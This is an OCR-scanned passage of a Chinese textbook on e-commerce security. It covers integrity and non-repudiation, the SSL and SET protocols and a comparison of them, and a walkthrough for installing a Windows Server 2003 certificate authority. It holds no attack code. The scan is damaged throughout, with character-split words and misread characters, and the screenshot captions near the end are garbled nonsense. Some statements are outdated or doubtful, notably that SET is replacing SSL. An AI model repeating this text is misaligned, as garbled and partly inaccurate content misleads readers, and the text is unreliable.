就 是 算 改 交易 信息 ,破坏 信息 的 完整 性 和 有 效 性 ,以 达到 非法 的 目的 。 例 如 ,在 电子 贸易 中 ， 
乙 给 甲 发 了 如 下 一 份 报 文 :“ 请 给 丁 汇 100 元 钱 , 乙 。” 报 文 在 发 送 过 程 中 经 过 了 丙 之 手 , 丙 
就 把 * 丁 ? 改 为 “两 ”。 这 样 甲 收 到 后 就 成 了 请 给 丙 汇 100 元 钱 , 乙 。” 结 果 是 丙 而 不 是 丁 得 到 
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了 100 元 钱 。 当 乙 得 知 丁 未 收 到 钱 时 就 去 问 甲 , 甲 出 示 有 乙 签名 的 报 文 , 乙 发 现 报 文 被 自 
改 了 。 

因此 ,保证 信息 的 完整 性 也 是 电子 商务 活动 中 的 一 个 重要 的 安全 需求 。 这 意味 着 ,交易 
各 方 能 够 验证 收 到 的 信息 是 否 完整 , 即 信息 是 否 被 人 算 改 过 ,或 者 在 数据 传输 过 程 中 是 否 出 
现 信息 丢失 ,信息 重复 等 差错 。 

4. 不 可 抵赖 性 

交易 的 不 可 抵赖 性 是 指 交易 双方 在 网 上 交易 过 程 的 每 个 环节 都 不 可 否认 其 所 发 送 和 收 
到 的 交易 信息 ,又 称 为 不 可 否认 性 。 由 于 商情 千变万化 ,交易 合同 一 旦 达成 就 不 能 抵赖 。 在 
传统 的 贸易 中 ,贸易 双方 通过 在 交易 合同 、 契 约 或 贸易 单据 等 书面 文件 上 手写 签名 或 印章 来 
鉴别 贸易 伙伴 ,确定 合同 、 契 约 、. 单 据 的 可 靠 性 并 预防 抵赖 行为 的 发 生 , 这 也 就 是 人 们 常 说 的 
“ 白 纸 黑 字 ”。 但 在 无 纸 化 的 电子 交易 中 ,就 不 可 能 再 通过 传统 的 手写 签名 和 印章 来 预防 抵 
赖 行为 的 发 生 。 因 此 ,必须 采用 新 的 技术 ,防止 电子 商务 中 的 抵赖 行为 ,否则 就 会 引起 商业 
纠纷 ,使 电子 商务 无 法 顺利 进行 。 例 如 ,在 电子 商务 活动 中 订购 计算 机 时 ,如 果 订 货 时 计算 
机 价格 较 低 ,但 收 到 订单 后 ,计算 机 价格 上 涨 了 ,假如 供应 商 能 否认 收 到 订单 的 事实 , 则 采购 
商 就 会 蒙受 损失 ; 同样 ,如 果 收 到 订单 后 ,计算 机 价格 下 跌 了 ,假如 订货 方 能 否认 先前 发 出 
订货 单 的 事实 , 则 供应 商 就 会 蒙受 损失 。 

因此 ,保证 交易 过 程 中 的 不 可 抵赖 性 也 是 电子 商务 安全 需求 中 的 一 个 重要 方面 。 这 意 
味 着 ,在 电子 交易 通信 过 程 的 各 个 环节 中 都 必须 是 不 可 否认 的 , 即 交 易 一 旦 达成 ,发 送 方 不 
能 否认 他 发 送 的 信息 ,接收 方 则 不 能 否认 他 所 收 到 的 信息 。 

5. 不 可 伪造 性 

在 商务 活动 中 ,交易 的 文件 是 不 可 被 修改 的 ,如 上 例 所 举 的 订购 计算 机 一 案 , 如 果 供 应 
商 在 收 到 订单 后 ,发现 计算 机 价格 大 幅 上 涨 了 ,假如 能 改动 文件 内 容 , 将 订购 数 100 台 改 为 
10 台 , 则 可 大 幅 受 益 ,那么 采购 商 就 会 因此 而 蒙受 巨大 损失 。 在 传统 的 贸易 中 ,可 以 通过 合 
同 字 迹 的 技术 鉴定 等 措施 来 防止 交易 过 程 中 出 现 的 伪造 行为 ,但 在 电子 交易 中 ,由 于 没有 书 
面 的 合同 ,因而 无 法 采用 字迹 的 技术 鉴定 等 传统 手段 来 裁决 是 否 发 生 了 伪造 行为 。 

因此 ,保证 交易 过 程 中 的 不 可 伪造 性 也 是 电子 商务 安全 需求 中 的 一 个 方面 。 这 意味 着 ， 
电子 交易 文件 也 要 能 做 到 不 可 修改 ,以 保障 交易 的 严肃 和 公正 。 


10.5.3 电子 商务 安全 协议 


电子 商务 出 现 之 后 ,为 了 保障 电子 商务 的 安全 性 ,人 们 不 断 通过 各 种 途径 进行 大 量 的 探 
索 ,SSL 安全 协议 和 SET 安全 协议 就 是 这 种 探索 的 两 项 重要 结果 。 

1. SSL 协议 

1) SSL 协议 简介 

SSL 是 Secure Socket Layer 英文 缩写 , 它 的 中 文 意思 是 安全 套 接 层 协 议 , 是 指 将 公 钥 
和 私 钥 技术 相 组 合 的 安全 网 络 通信 协议 。SSL 协议 是 网 景 公 司 (Netscape) 推 出 的 基于 Web 
应 用 的 安全 协议 ,SSL 协议 指定 了 一 种 在 应 用 程序 协议 (如 HTTP, Telenet, SMTP 和 FTP 
等 ) 和 TCP/IP 协议 之 间 提 供 数据 安全 性 分 层 的 机 制 , 它 为 TCP/IP 连接 提供 数据 加 密 、 服 
务 器 认证 消息 完整 性 以 及 可 选 的 客户 机 认证 ,主要 用 于 提高 应 用 程序 之 间 数 据 的 安全 性 ， 
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对 传送 的 数据 进行 加 密 和 隐藏 ,确保 数据 在 传送 中 不 被 改变 , 即 确保 数据 的 完整 性 。 

SSL 以 对 称 密码 技术 和 公开 密码 技术 相 结 合 ,可 以 实现 以 下 3 个 通信 目标。 

(1) 秘密 性 。SSL 客户 机 和 服务 器 之 间 传 送 的 数据 都 经 过 了 加 密 处 理 ,网 络 中 的 非法 
窃听 者 所 获取 的 信息 都 将 是 无 意义 的 密 文 信息 。 

(2) 完整 性 。SSL 利用 密码 算法 和 哈 希 (Hash) 函数 ,通过 对 传输 信息 特征 值 的 提取 来 
保证 信息 的 完整 性 ,确保 要 传输 的 信息 全 部 到 达 目 的 地 ,可 以 避免 服务 器 和 客户 机 之 间 的 信 
息 受 到 破坏 。 

(3) 认证 性 。 利 用 证 书 技术 和 可 信 的 第 三 方 认证 ,可 以 让 客户 机 和 服务 器 相互 识别 对 
方 的 身份 。 为 了 验证 证 书 持 有 者 是 其 合法 用 户 ( 而 不 是 冒名 用 户 ),SSL 要 求证 书 持 有 者 在 
握手 时 相互 交换 数字 证 书 ,通过 验证 来 保证 对 方 身份 的 合法 性 。 

2) SSL 安全 协议 的 运行 步骤 

(1) 接 通 阶段 。 客 户 通过 网 络 向 服务 商 打招呼 ,服务 商 回应 

(2) 密码 交换 阶段 。 客 户 与 服务 商 之 间 交 换 认可 的 密码 。 一 般 选 用 RSA 密码 算法 ,也 
有 的 选用 Diffie-Hellman 和 Fortezza-KEA 密码 算法 。 

(3) 会 谈 密 码 阶 段 。 客 户 与 服务 商 间 产生 彼此 交谈 的 会 谈 密码 。 

(4) 检验 阶段 。 检 验 服务 商 取 得 的 密码 。 

(5) 客户 认证 阶段 。 验 证 客户 的 可 信和 度 。 

(6) 结束 阶段 。 客 户 与 服务 商 之 间 的 相互 交换 结束 的 信息 。 

当 上 述 动作 完成 之 后 ,两 者 间 的 资料 传送 就 会 加 以 密码 ,等 到 另外 一 端 收 到 资料 后 ,再 
将 编码 后 的 资料 还 原 。 即 使 盗窃 者 在 网 络 上 取得 编码 后 的 资料 ,如 果 没 有 原先 编制 的 密码 
算法 ,也 不 能 获得 可 读 的 有 用 资料 。 

在 电子 商务 交易 过 程 中 ,由 于 有 银行 参与 ,按照 SSL 协议 ,客户 购买 的 信息 首先 发 往 商 
家 ,商家 再 将 信息 转发 银行 ,银行 验证 客户 信息 的 合法 性 后 ,通知 商家 付款 成 功 ,商家 再 通知 
客户 购买 成 功 ,将 商品 寄 送 客户 。 

3) SSL 安全 协议 的 应 用 

SSL 安全 协议 也 是 国际 上 最 早 应 用 于 电子 商务 的 一 种 网 络 安全 协议 ,至 今 仍然 有 许多 
网 上 商店 在 使 用 。 在 使 用 时 ,SSL 协议 根据 邮购 的 原理 进行 了 部 分 改进 。 在 传统 的 邮购 活 
动 中 ,客户 首先 寻找 商品 信息 ,然后 汇款 给 商家 ,商家 青 把 商品 寄 给 客户 。 这 里 商家 是 可 以 
信赖 的 ,所 以 ,客户 须 先 付款 给 商家 。 在 电子 商务 的 开始 阶段 ,商家 也 是 担心 客户 购买 后 不 
付款 或 使 用 过 期 作废 的 信用 卡 ,因而 希望 银行 给 予 认证 。SSL 安全 协议 正 是 在 这 种 背景 下 
应 用 于 电子 商务 的 。 

SSL 协议 运行 的 基点 是 商家 对 客户 信息 保密 的 承诺 ,如 美国 著名 的 亚马逊 (Amazon) 网 
上 书店 在 它 的 购买 说 明 中 明确 表示 :“ 当 你 在 亚马逊 公司 购书 时 ,受到 “亚马逊 公司 安全 购 
买 保证 ?保护 ,所 以 ,你 永远 不 用 为 你 的 信用 卡 安全 担心 "但 是 从 上 述 流程 中 人 们 也 注意 到 ， 
SSL 协议 有 利于 商家 而 不 利于 客户 。 客 户 的 信息 首先 传 到 商家 ,但 整个 过 程 中 缺少 了 客户 
对 商家 的 认证 。 在 电子 商务 的 开始 阶段 ,由 于 参与 电子 商务 的 公司 大 都 是 一 些 大 公司 ,信誉 
较 高 ,这 个 问题 没有 引起 人 们 的 重视 。 随 着 电子 商务 参与 的 厂商 迅速 增加 ,对 厂商 的 认证 问 
题 越 来 越 突出 ,SSL 协议 的 缺点 完全 暴露 出 来 ,SSL 协议 逐渐 被 新 的 SET 协议 所 取代 。 
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2. SET 协议 

1) SET 协议 简介 

SET(Secure Electronic Transaction ,安全 电子 交易 ) 协 议 是 由 VISA 和 Master Card 两 
大 信用 卡 公 司 联合 推出 的 规范 。SET 主要 是 为 了 解决 用 户 、 商 家 和 银行 之 间 通 过 信用 卡 支 
付 的 交易 而 设计 的 ,以 保证 支付 信息 的 机 密 、 支 付 过 程 的 完整 .商户 及 持 卡 人 的 合法 身份 ,以 
及 可 操作 性 。SET 中 的 核心 技术 主要 有 公开 密 钥 加 密 、 电 子 数字 签名 、 电 子 信封 .电子 安全 
证 书 等 。SET 协议 比 SSL 协议 复杂 ,因为 前 者 不 仅 加 密 两 个 端点 间 的 单个 会 话 , 它 还 可 以 
加 密 和 认定 三 方 之 间 的 多 个 信息 。 

在 开放 的 互联 网 上 处 理 电 子 商务 ,如 何 保证 买卖 双方 传输 数据 的 安全 成 为 电子 商务 能 
否 普 及 的 最 重要 的 问题 。 为 了 克服 SSL 安全 协议 的 缺点 ,VISA 和 MASTER CARD 两 大 
信用 卡 公司 联合 开发 了 SET 电子 商务 交易 安全 协议 。 这 是 一 个 为 了 在 互联 网 上 进行 在 线 
交易 而 设立 的 一 个 开放 的 以 电子 货币 为 基础 的 电子 付款 系统 规范 。SET 在 保留 对 客户 信 
用 卡 认证 的 前 提 下 ,又 增加 了 对 商家 身份 的 认证 ,这 对 于 需要 支付 货币 的 交易 来 讲 是 至 关 重 
要 的 。 由 于 设计 合理 ,SET 协议 得 到 了 IBM、HP、Microsoft、VeriFone、GTE、VeriSign 等 许 
多 大 公司 的 支持 ,已 成 为 事实 上 的 工业 标准 。 目 前 , 它 已 获得 了 IETF 标准 的 认可 。 

1996 年 2 月 1 日 ,Master Card 和 VISA 国际 信用 卡 组 织 与 技术 合作 伙伴 GTE, 
Netscape, IBM, Terisa Systems, Verisign, Microsoft, SAIC 等 一 批 跨国 公司 共同 开发 了 安 
全 电子 交易 规范 (SET)。SET 是 在 开放 网 络 环境 中 的 卡 支付 安全 协议 , 它 采 用 公 钥 密码 体 
制 (PKI) 和 X. 509 电子 证 书 标准 ,通过 相应 软件 .电子 证 书 、 数 字 签 名 和 加 密 技 术 能 在 电子 
交易 环节 上 提供 更 大 的 信任 度 .更 完整 的 交易 信息 、 更 高 的 安全 性 和 更 少 受 欺诈 的 可 能 性 。 
SET 协议 用 以 支持 B2C(Business to Customer) 这 种 类 型 的 电子 商务 模式 , 即 消费 者 持 卡 在 
网 上 购物 与 交易 的 模式 。 

1997 4Æ 2 A 19 日 ,由 Master Card 和 VISA 发 起 成 立 SETCO 公司 (也 获得 了 
American Express 和 JBC Credit Card Company 的 赞同 )。SETCO 成 立 后 ,立即 着 手 建设 
认证 体系 (CA)。 为 了 推动 电子 商务 的 发 展 ,首先 要 验证 或 识别 参与 网 上 交易 活动 的 各 个 主 
体 ( 如 持 卡 消费 者 .商户 、 收 单 银行 的 支付 网 关 ) 的 身份 ,并 用 相应 的 电子 证 书 代 表 他 们 的 身 
份 。 电 子 证 书 是 由 权威 性 的 公正 认证 机 构 管理 的 ,在 每 次 交易 活动 时 还 需 逐 级 往 上 地 验证 
各 认证 机 构 电 子 证 书 的 真 伪 。 各 级 认证 机 构 是 按 根 认 证 机 构 (Root CA) ,品牌 认证 机 构 
(Brand CA) ,以 及 持 卡 人 、 商 户 或 收 单行 支付 网 关 认 证 机 构 (Holder Card CA. Merchant 
CA or Payment Gateway CA) 由 上 而 下 按 层 次 结构 建立 的 。 在 认证 机 构 的 最 高 层 (顶层 ) 即 
根 认证 机 构 (Root CA) ,由 SETCO 负责 管理 ,其 功能 如 下 。 

(1) 生成 和 安全 保存 符合 SET 协议 要 求 的 属于 根 认证 机 构 的 公 、 私 密 钥 。 

(2) 生成 和 自行 签署 符合 SET 协议 要 求 的 根 证 书 及 其 数字 签名 。 

(3) 处 理 品 牌 认证 机 构 的 申请 ,生成 、 验 证 品牌 证 书 并 在 品牌 证 书 上 进行 数字 签名 。 

(4) 生成 品牌 证 书 撤销 清单 。 

(5) 支持 跨 域 交叉 认证 。 

(6) 制定 安全 认证 政策 。 

安全 电子 交易 是 基于 互联 网 的 卡 基 支付 ,是 授权 业务 信息 传输 的 安全 标准 , 它 采 取 
RSA 公开 密 钥 体系 对 通信 双方 进行 认证 ,利用 DES, RC4 或 任何 标准 对 称 加 密 方法 进行 信 
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息 的 加 密 传输 ,并 用 Hash 算法 来 鉴别 消息 真 伪 , 有 无 自 改 。 在 SET 体系 中 有 一 个 关键 的 
认证 机 构 (CA) ,CA 根据 X. 509 标准 发 布 和 管理 证 书 。 

2) SET 安全 协议 运行 的 目标 

SET 安全 协议 要 达到 的 目标 主要 有 以 下 5 个 。 

(1) 保证 信息 在 互联 网 上 安全 传输 ,防止 数据 被 黑客 或 被 内 部 人 员 窃 取 。 

(2) 保证 电子 商务 参与 者 信息 的 相互 隔离 。 客 户 的 资料 加 密 或 打包 后 通过 商家 到 达 银 
行 ,但 是 商家 不 能 看 到 客户 的 账户 和 密码 信息 。 

(3) 解决 多 方 认证 问题 。 不 仅 要 对 消费 者 的 信用 卡 认证 ,而 且 要 对 在 线 商店 的 信誉 程 
度 认证 ,同时 还 有 消费 者 ,在 线 商 店 与 银行 间 的 认证 。 

(4) 保证 网 上 交易 的 实时 性 ,使 所 有 的 支付 过 程 都 是 在 线 的 。 

(5) 效仿 EDI 贸易 的 形式 ,规范 协议 和 消息 格式 ,促使 不 同 厂 家 开发 的 软件 具有 兼容 性 
和 互 操作 功能 ,并 且 可 以 运行 在 不 同 的 硬件 和 操作 系统 平台 上 。 

3) SET 安全 协议 涉及 的 范围 

SET 协议 规范 所 涉及 的 对 象 有 以 下 几 种 。 

(1) 消费 者 ,包括 个 人 消费 者 和 团体 消费 者 ,按照 在 线 商 店 的 要 求 填写 订货 单 , 通 过 由 
发 卡 银行 发 行 的 信用 卡 进行 付款 。 

(2) 在 线 商店 ,提供 商品 或 服务 ,具备 相应 电子 货币 使 用 的 条 件 。 

(3) 收 单 银行 ,通过 支付 网 关 处 理 消费 者 和 在 线 商店 之 间 的 交易 付款 问题 。 

(4) 电子 货币 (如 智能 卡 、 电 子 现 金 、 电 子 钱包 ) 发 行 公司 ,以 及 某 些 兼 有 电子 货币 发 行 
的 银行 ,负责 处 理智 能 卡 的 审核 和 支付 工作 。 

(5) 认证 中 心 (CA), 负 责 对 交易 对 方 的 身份 确认 ,对 厂商 的 信誉 度 和 消费 者 的 支付 手 
段 进行 认证 。 

SET 协议 规范 的 技术 范围 包括 以 下 几 种 。 

(1) 加 密 算法 的 应 用 (如 RSA 和 DES). 

(2) 证 书信 息 和 对 象 格式 。 

(3) 购买 信息 和 对 象 格式 。 

(4) 认可 信息 和 对 象 格式 。 

(5) 划 账 信息 和 对 象 格式 。 

(6) 对 话 实体 之 间 的 消息 的 传输 协议 。 

4) SET 安全 协议 的 工作 原理 

根据 SET 协议 的 工作 流程 ,可 将 整个 工作 程序 分 为 以 下 7 个 步骤 。 

(1) 消费 者 在 银行 开 立 信用 卡 账 户 ,利用 自己 的 PC 通过 互联 网 选取 所 要 购买 的 物品 ， 
并 在 计算 机 内 输入 订货 单 。 订 货 单 信息 包括 在 线 商 店 、 购 买 物品 名 称 及 数量 、 交 货 时 间 及 地 
点 等 相关 信息 。 

(2) 通过 电子 商务 服务 器 与 有 关 在 线 商店 联系 ,在 线 商店 做 出 应 答 ,告诉 消费 者 所 填 订 
货 单 的 货物 单价 .应 付款 数 、 交 货 方式 等 信息 是 否 准 确 ,是 否 有 变化 。 

(3) 消费 者 选择 付款 方式 ,确认 订单 ,签发 付款 指令 ; 此 时 SET 开始 介入 。 

(4) 在 SET 中 ,消费 者 必须 对 订单 和 付款 指令 进行 数字 签名 ,同时 利用 双重 签名 技术 
保证 商家 看 不 到 消费 者 的 账号 信息 。 
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(5) 在 线 商 店 接受 订单 后 ,向 消费 者 所 在 银行 请 求 支付 许可 。 信 息 通过 支付 网 关 到 收 
单 银行 ,再 到 电子 货币 发 行 公司 确认 。 批 准 交易 后 ,返回 确认 信息 给 在 线 商店 。 

(6) 在 线 商店 发 送 订单 确认 信息 给 消费 者 。 消 费 者 端 软 件 可 记录 交易 日 志 , 以 备 将 来 
查询 。 

(7) 在 线 商 店 发 送 货 物 或 提供 服务 ,并 通知 收音 银行 将 钱 从 消费 者 的 账号 转移 到 商店 
账号 ,或 通知 发 卡 银行 请 求 支 付 。 

在 认证 操作 和 支付 操作 中 间 一 般 会 有 一 个 时 间 间 隔 , 如 在 每 天 的 下 班 前 请 求 银行 结 一 
天 的 账 。 前 两 步 与 SET 无 关 , 从 第 三 步 开始 SET 起 作用 ,一 直到 第 七 步 。 在 处 理 过 程 中 ， 
通信 协议 .请求 信息 的 格式 .数据 类 型 的 定义 等 ,SET 都 有 明确 的 规定 。 在 操作 的 每 一 步 ， 
消费 者 \ 在 线 商 店 、 支 付 网 关 都 通过 CA 来 验证 通信 主体 的 身份 ,以 确保 通信 的 对 方 不 是 冒 
名 顶替 。 所 以 ,也 可 以 简单 地 认为 ,SET 规格 充分 发 挥 了 认证 中 心 的 作用 ,以 维护 在 任何 开 
放 网 络 上 的 电子 商务 参与 者 所 提供 信息 的 真实 性 和 保密 性 。 

5) SET 安全 协议 的 缺陷 

从 1996 年 4 月 SET 安全 协议 1.0 版 面市 以 来 ,大 量 的 现场 实验 和 实施 效果 获得 了 业 
界 的 支持 ,促进 了 SET 良好 的 发 展 趋势 。 但 细心 的 观察 家 也 发 现 了 一 些 问题 。 这 些 问 题 包 
括 以 下 几 点 。 

(1) 协议 没有 说 明 收 单 银 行 给 在 线 商 店 付款 前 ,是 否 必 须 收 到 消费 者 的 货物 接受 证 书 。 
否则 的 话 , 在 线 商 店 提 供 的 货物 不 符合 质量 标准 ,消费 者 提出 疑义 ,责任 由 谁 承担 。 

(2) 协议 没有 担保 “ 非 拒 绝 行 为 ”, 这 意味 着 在 线 商 店 没 有 办 法 证 明 订购 是 不 是 由 签署 
证 书 的 消费 者 发 出 的 。 

G) SET 技术 规范 没有 提 及 在 事务 处 理 完 成 后 ,如 何 安全 地 保存 或 销毁 此 类 数据 ,是 否 
应 当 将 数据 保存 在 消费 者 在线 商店 或 收 单 银行 的 计算 机 里 。 这 些 漏 洞 可 能 使 这 些 数 据 以 
后 受到 潜在 的 攻击 。 

(4) 在 完成 一 个 SET 协议 交易 的 过 程 中 , 需 验证 电子 证 书 9 次 ,验证 数字 签名 6 次 , 传 
递 证 书 7 次 ,进行 5 次 签名 .4 次 对 称 加 密 和 4 次 非 对 称 加 密 。 所 以 ,完成 一 个 SET 协议 交 
易 过 程 需 花 费 1. 5 一 2 分 钟 , 甚 至 更 长 的 时 间 ( 新 式 小 型 电子 钱包 将 多 数 信息 放 在 服务 器 上 ， 
时 间 可 缩短 到 10 一 20 秒 ) 。SET 协议 过 于 复杂 ,使 用 麻烦 ,成 本 高 , 且 只 适用 于 客户 具有 电 
子 钱包 的 场合 。 

(5) SET 的 证 书 格式 比较 特殊 ,虽然 也 遵循 X. 509 标准 ,但 它 主要 是 由 VISA 和 
Master Card 开发 并 按 信用 卡 支付 方式 来 定义 的 。 银 行 的 支付 业务 不 光 是 卡 支付 业务 ,而 
SET 支付 方式 和 认证 结构 适应 于 卡 支付 ,对 其 他 支付 方式 是 有 所 限制 的 。 

(6) 一 般 认 为 ,SET 协议 保密 性 好 ,具有 不 可 否认 性 ,SETCA 是 一 套 严 密 的 认证 体系 ， 
可 保证 B 2 C 类 型 的 电子 商务 安全 顺利 地 进行 。 事实 上 ,安全 是 相对 的 ,人 们 提出 电子 商务 
中 信息 的 保密 性 ,要 保证 支付 和 订单 信息 的 保密 性 , 即 要 求 商 户 只 能 看 到 订单 信息 (OD , 支 
付 网 关 只 能 解读 支付 信息 (PD 。 但 在 SET 协议 中 ,虽然 账号 不 会 明文 传递 , 它 通常 用 1024 
位 RSA 不 对 称 密 钥 加 密 ,商户 电子 证 书 确实 指明 了 是 否 允 许 商 户 从 支付 网 关 的 响应 消息 中 
看 到 持 卡 人 的 账号 ,可 是 事实 上 大 多 数 商 户 都 收 到 了 持 卡 人 的 账号 。 

6) SSL 与 SET 的 比较 

可 以 从 以 下 4 个 方面 来 比较 SSL 和 SET 的 异同 。 
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(1) 认证 机 制 。SET 的 安全 要 求 较 高 ,因此 所 有 参与 SET 交易 的 成 员 ( 持 卡 人 、 商 家 、 
支付 网 关 等 ) 都 必须 先 申请 数字 证 书 来 识别 身份 ,而 在 SSL 中 只 有 商店 端的 服务 器 需要 认 
证 ,客户 端 认证 则 是 有 选择 性 的 。 

(2) 设置 成 本 。 持 卡 者 希望 申请 SET 交易 ,除了 必须 先 申 请 数字 证 书 之 外 ,也 必须 在 
计算 机 上 安装 符合 SET 规格 的 电子 钱包 软件 ,而 SSL 交易 则 不 需要 另外 安装 软件 。 

(3) 安全 性 。 一 般 公认 SET 的 安全 性 较 SSL 高 ,主要 是 因为 整个 交易 过 程 中 ,包括 持 
卡 人 到 商店 端 ,商店 到 付款 转 接站 再 到 银行 网 络 ,都 受到 严密 的 保护 ,而 SSL 的 安全 范围 只 
限于 持 卡 人 到 商店 端的 信息 交换 。 

(4) 基于 Web 的 应 用 。SET 是 为 信用 卡 交 易 提供 安全 的 , 它 更 通用 一 些 。 然 而 ,如 果 
电子 商务 应 用 只 通过 Web 或 是 电子 邮件 , 则 可 能 并 不 需要 SET。 

通过 以 上 分 析 可 以 看 出 ,SET 从 技术 上 和 流程 上 都 相对 优 于 SSL, 但 这 是 否 就 意味 着 
未 来 SET 就 会 超过 SSL 的 应 用 ,最 后 完全 取代 SSL 呢 ? 问题 的 结论 是 : 不 一 定 。 因 为 虽 
然 SET 通过 制定 标准 和 采用 各 种 技术 手段 ,解决 了 一 直 困 扰 电子 商务 发 展 的 安全 问题 ,其 
中 包括 购物 与 支付 信息 的 保密 性 .交易 支 付 完整 性 .身份 认证 和 不 可 抵赖 性 ,在 电子 交易 环 
节 上 提供 了 更 大 的 信任 度 、 更 完整 的 交易 信息 、 更 高 的 安全 性 和 更 少 受 欺 诈 的 可 能 性 。 但 是 
由 于 SET 成 本 太 高 , 互 操作 性 差 , 且 实 现 过 程 复杂 ,因此 还 有 待 完善 。 而 SSL 的 自主 开发 
性 强 ,我 国 已 有 很 多 单位 均 已 自主 开发 了 128 位 对 称 加 密 算法 ,并 通过 了 检测 ,这 大 大 提高 
了 它 的 破译 难度 ; 并 且 SSL 协议 已 发 展 到 能 进行 表单 签名 ,在 一 定 程度 上 弥补 了 无 数字 签 
名 的 不 足 。 
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Windows 提供 了 证 书 服务 来 帮助 建立 CA 和 颁发 数字 证 书 。 在 Windows 2003 环境 
下 ,可 以 便捷 地 安装 数字 证 书 服务 并 利用 该 服务 颁发 数字 证 书 。 下 面 简 要 说 明 构建 基于 
Windows 2003 的 CA 系统 过 程 。 

1. 安装 证 书 服务 器 (CA 服务 器 ) 

创建 IISCWeb 服务 器 ) 和 CA 认证 中 心 。 

1) 创建 IIS 

依次 选择 “开始 ”>“ 控 制 面板 ”>“ 添 加 /删除 程序 ”>“ 添 加 /删除 Windows 组 件 ” 选 项 ， 
iH SL“ Windows 组 件 向 导 ” 对 话 框 ,如 图 10-4 所 示 。 在 该 对 话 框 中 选择 “应 用 程序 服务 器 ”， 
单 击 * 详 细 信息 ”按钮 ,在 弹出 如 图 10-5 所 示 的 “应 用 程序 服务 器 ”对 话 框 中 选中 “Internet 信 
息 服 务 (1IS)" 复 选 框 , 单 击 “ 确 定 ” 按 钮 ,返回 到 “Windows 组 件 向 导 ” 对 话 框 , 单 击 “ 下 一 步 ” 
按钮 ,完成 IIS 的 安装 。 

2) 创建 CA 认证 中 心 

第 1 步 : 在 图 10-4 中 选择 “证 书 服务 ”" 复 选 框 ,出 现 ”Microsoft 证 书 服务 ”对 话 框 ,如 
图 10-6 所 示 。 单 击 “ 是 ”按钮 ,返回 到 “Windows 组 件 向 导 ” 对 话 框 , 单 击 “ 详 细 信 息 ” 按 钮 ， 
出 现 “ 证 书 服务 ”对 话 框 ,如 图 10-7 所 示 。 在 该 对 话 框 中 选中 其 中 的 两 项 , 单 击 “ 确 定 ” 按 钮 ， 
开始 安装 。 
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图 10-4 “Windows 组 件 向 导 ” 对 话 框 


ee ge 8. 基色 杠 表 示 只 会 安装 这 组 
Bo gatuans. ame an a i 


应 用 程序 服务 器 的 子 组 件 O 

[O yasr. wr 0.0 WB 
GBARA com 访问 0.0 MB 
OBARA ore 访问 0.0 上 
口感 消 息 队列 7.0 MB 
4 移 应 用 程序 服务 器 控制 台 0.0 WB 


SË: ITS 包括 Web» FIP, SMTP 和 NNTP 支持 ,以 及 对 FrontPage Si 
Extension M Active Server Page ÖSP) | 


所 需 磁 盘 空 间 14.5 加 详细 信息 W. 
可 用 磁 条 空间 1191.4 MB —— 


图 10-5 “应 用 程序 服务 器 ”对话 框 


i 一 
全 


[ED sw | 


E 


TNG igir Binger 中 。 更 改 计算 机 名 或 域 


10-6 “Microsoft 证 书 服务 "对 话 框 


MEER, (8 E, RAMERAAS RRR 
EE wee aS 


证 书 服务 HFE O 
E 证 书 服务 


M 聊 证书 服务 Yeb 注册 支持 1.2 MB 


DE: 设置 一 个 颂 发 并 管理 数字 证 书 的 CA。 


meas: 6.0 mB 
FARES: 1950.1 MB 


图 10-7 “证 书 服务 "对 话 框 
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第 2 步 : 在 弹出 的 如 图 10-8 所 示 的 对 话 框 中 ,选中 证 书 颁发 类 型 “独立 根 CA” 单 选 按 钮 。 


CA 类 型 
选择 修 想 设置 的 CA RH. 


OBE 以 四 
OM ChB) 
OER CAE 


ORTAR caw 


CA BEMBE 
peer 


g= Chs 需要 Active Directory, 您 必须 同时 是 企业 管理 员 组 的 成 


口 用 自 定 义 设置 生成 密 铀 对 和 CA ERW 


<£-$@|\F-F0>) | Ba || am 


10-8 “CA 类 型 ”对话 框 


选择 证 书 颁发 类 型 包括 企业 根 CA 企业 从 属 CA 、 独 立根 CA 和 独立 从 属 CA, 

企业 根 CA 和 独立 根 CA 都 是 证 书 颁发 体系 中 最 受信 任 的 证 书 颁发 机 构 , 可 以 独立 地 
颁发 证 书 。 企 业 根 CA 需要 Active Directory 支持 ,而 独立 根 CA 不 需要 。 

从 属 级 的 CA 由 于 只 能 从 另 一 个 证 书 颁发 机 构 获 取证 书 , 因 此 一 般 不 选择 。 

在 Windows Server 2003 中 ,企业 根 CA 使 用 Active Directory 来 确定 申请 人 的 身份 ， 
确定 申请 人 是 否 具 有 申请 他 们 所 指定 的 证 书 类 型 的 安全 权限 ,并 由 此 自动 确定 是 否 立即 颁 
发 证 书 或 拒绝 申请 ,这 种 策略 设置 不 能 被 更 改 。 如 果 选 择 此 选项 一 定 要 注意 保护 含有 此 服 
务 的 服务 器 ,不 能 直接 暴露 在 外 。 

独立 根 CA 可 以 选择 在 收 到 申请 时 自动 颁发 证 书 或 将 申请 保持 为 挂 起 状态 ,由 管理 员 
验证 证 书 申请 者 的 真实 性 及 合法 性 ,决定 是 否 颁 发 证 书 。 

第 3 步 : 在 图 10-8 中 , 单 击 * 下 一 步 ? 按 钮 ,出现 如 图 10-9 所 示 的 对 话 框 ,填写 CA 识别 
信息 , 单 击 * 下 一 步 按 钮 ,出 现 如 图 10-10 所 示 的 “证 书 数据 库 设置 "对 话 框 ,选择 证 书 数据 
库 及 日 志 的 位 置 。 


10-9 “CA 识别 信息 ”对 话 框 
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图 10-10 “证 书 数 据 库 设置 ?对话 框 


第 4 步 : 在 图 10-10 中 , 单 击 " 下 一 步 "按钮 ,出现 如 图 10-11 所 示 的 提示 框 ,询问 是 否 停 
止 IS, 单 击 “ 是 ”按钮 ,出 现 如 图 10-12 所 示 的 对 话 框 ,进行 组 件 的 配置 。 在 配置 组 件 过 程 
中 ,出 现 如 图 10-13 所 示 的 提示 框 , 单 击 * 是 "按钮 。 在 出 现 如 图 10-14 所 示 的 对 话 框 中 , 单 

“完成 ”按钮 ,安装 完成 。 

第 5 步 : 设置 证 书 服务 管理 。 依 次 选择 “开始 "一 “程序 ”一 ”管理 工具 ”一 "证书 颁发 机 
构 ” 选 项 ,打开 “证 书 颁发 机 构 ” 窗 口 , 如 图 10-15 所 示 。 前 面 已 经 为 服务 器 成 功 配置 完 公 用 
名 为 AAAAA 的 独立 根 CA, Web 服务 器 和 客户 端 可 以 通过 访问 该 服务 器 的 TIS 证 书 申请 
服务 申请 相关 证 书 。 此 时 该 服务 器 (CA) 的 TIS 下 多 出 以 下 几 项 ,如 图 10-16 所 示 。 


图 10-11 是 否 停止 ls 
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Tindows PAS 


正在 配置 组 件 
安装 程序 正在 根据 您 的 请 求 进行 配置 更 改 。 


